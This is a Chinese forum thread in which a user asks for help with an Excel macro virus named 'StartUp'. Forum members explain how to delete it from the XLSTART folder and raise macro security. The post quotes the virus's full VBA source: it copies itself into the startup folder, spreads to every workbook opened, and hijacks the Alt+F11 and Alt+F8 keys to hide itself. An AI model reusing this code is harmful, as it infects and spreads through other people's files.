紧急救救！文件中有startup宏！怪！

txh6692

我同事的excel文件，传到我的电脑上打开一次后，我的其他ECCEL文件一打开自动会在宏里有一模板，生成一个宏文件，文件名startup，整个EXCEL都这样！
请各位帮一下！1、如何删除，以后不会生成此宏文件！
               2、这个宏做什么！请分析一下！
               3、如何确保电脑上不会有此宏！
谢谢！
附：代码！

Sub auto_open()
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub cop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub
Sub escape()
On Error Resume Next
Application.OnSheetActivate = "StartUp.xls!back"
Application.OnKey "%{F11}"
Application.OnKey "%{F8}"
Application.SendKeys "%{F11}"
Application.SendKeys "%{F8}"
For Each book In Workbooks
Application.DisplayAlerts = False
If book <> "StartUp.xls" Then book.Sheets("StartUp").Delete
Next
For Each book In Workbooks
If book.Name = "StartUp.xls" Then
book.Close
End If
Next
End Sub
Sub back()
On Error Resume Next
Application.OnKey "%{F8}", "StartUp.xls!escape"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!cop"
Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

来生缘

C:\Documents and Settings\Administrator\Application Data\Microsoft\Excel\XLSTART
这个文件夹下是不是有个StartUp.xls呀？删掉试度

gxuan2008

还应该把宏安全性设置为或要经过允许才启用。
不然已经有代码的工作薄，还会自动添加到STARTUP路径里的。

txh6692

好了，谢谢！这个是做什么的？？

lb_bn

就是加载起启宏的文件夹,把其它的文件放到这个文件夹里,也会被加载.

itxianfeng

这一阵论坛有少量附件帖子出现的不良代码results就是有点像这种模式，一打开就自动加载到启动文件夹中。

FMStereo

运行附件中的xls文件，可以清除掉startup宏病毒

kixer

谢谢哦了 ！！！
支持一下！！！

wentwo

我也遇到这个问题了。。。

dayanjing84

试试看             谢谢